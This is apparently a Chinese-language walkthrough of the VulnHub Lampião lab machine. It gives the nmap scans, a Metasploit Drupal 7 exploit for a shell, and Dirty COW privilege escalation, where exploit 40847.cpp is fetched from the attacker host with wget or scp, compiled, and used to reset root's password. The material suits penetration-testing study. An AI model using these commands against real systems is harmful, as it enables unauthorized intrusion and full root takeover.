靶机介绍
靶机:Lampiao
靶机页面:Lampião: 1 ~ VulnHub
靶机中只有一个存放在root家目录中的flag。
全端口扫描
nmap -sn 192.168.183.0/24 -oG -
查找出靶机的IP地址
用nmap -sV 192.168.183.137
扫到了80端口,但打了问号就是不确定。
于是去访问这个网站,发现是个假的网站。
这里再用nmap进行全端口扫描nmap -sS -p1-65535 192.168.183.137
扫到1898端口的网站,去访问看看。
Drupal识别
这个网站仔细关系与我们做的DC:1靶机有很大的相似性,从下面几个地方可以看出它是一个drupal开发的cms网站。
确定了网站是drupal,可以用whatweb探测一下它的版本是drupal 7
利用MSF进行攻击
这里靶机的要求是要我们拿到root下的flag,我们登录它的后台没用,拿到靶机的shell才是我们的目标,这里采取msf进行攻击。
search drupal
use 1
在设置exploit时,不仅要设置RHOSTS,而且还要设置RPORT
set RHOSTS 192.168.183.137
set RPORT 1898
run
在meterpreter中输入shell
命令打开一个shell
python -c "import pty;pty.spawn('/bin/bash')"
脏牛漏洞
这里用sudo提权,suid提权都不行,介绍一种新的漏洞进行攻击。
脏牛漏洞(Dirty COW)
- 脏牛漏洞是在Linux内核中存在的一个漏洞,具体原理是get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能产生竞态条件造成COW过程被破坏。
- 在2007年发布的Linux内核版本中就已经存在此漏洞,一直到2016年10月18日Linux kernel团队才对这个漏洞进行了修复(2007-2016都可能存在脏牛漏洞)。
- 脏牛漏洞的exploit已经集成在Kali中,可利用searchsploit搜索。
那么如何去确定这个系统存在脏牛漏洞呢?就要去查看它的内核版本了看看是什么时候的内核。
查看Linux版本
Linux的发行版本和内核版本
- Linus Torvalds发布的是Linux系统的内核(Kernel)
- 我们平时所使用的各种程序和软件,都是运行在内核上的应用程序。
任何人都可以从Linux Kernel的官网(https://www.kernel.org)下载各种版本的Linux内核。然后在内核的基础上,根据不同的用户需求,安装各种应用程序,这就构成了Linux发行版。
- CentOS7.5和Kali2022.1都是指发行版,不同的发行版采用的往往是不同版本的Linux内核。
- Linux发行版最终形成了两大派系:RedHat、Debian。
- CentOS属于RedHat的二次开发版本
- Ubuntu是Debian的二次版本,Kali则是Ubuntu的再次开发版本。
查看发行版本
- CentOS系统查看发行版版本
- Debian系统查看发行版版本
查看内核版本
- CentOS系统查看内核版本
- Debian系统查看内核版本
靶机的内核版本
- 2007年~2016年10月这个时间段内的Linux内核都存在脏牛漏洞
这个靶机的2016年七月的内核存在脏牛漏洞
利用脏牛漏洞提权
使用searchsploit dirty
搜索脏牛漏洞适用的exploit
这种内核漏洞一般都是用c或c++的脚本进行攻击,这里选40847.cpp来利用。
查看exploit的具体路径
searchsploit -p linux/local/40847.cpp
这里需要思考一个问题,那么如何把这个文件传到靶机上呢?这里说两种方法,一种利用scp命令另一种利用Python的搭建一个网站然后在靶机用wget下载就行
方法一:scp root@192.168.183.132:/root/40847.cpp ./
方法2:
利用Python快速搭建网站,当前目录就是网站的主目录。
python3 -m http.server 80
然后在靶机中用wget命令下载exploit文件就行
将exploit编译成可执行程序
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
运行程序,会自动把root用户的密码改成dirtyCowFun
切换到root,实现提权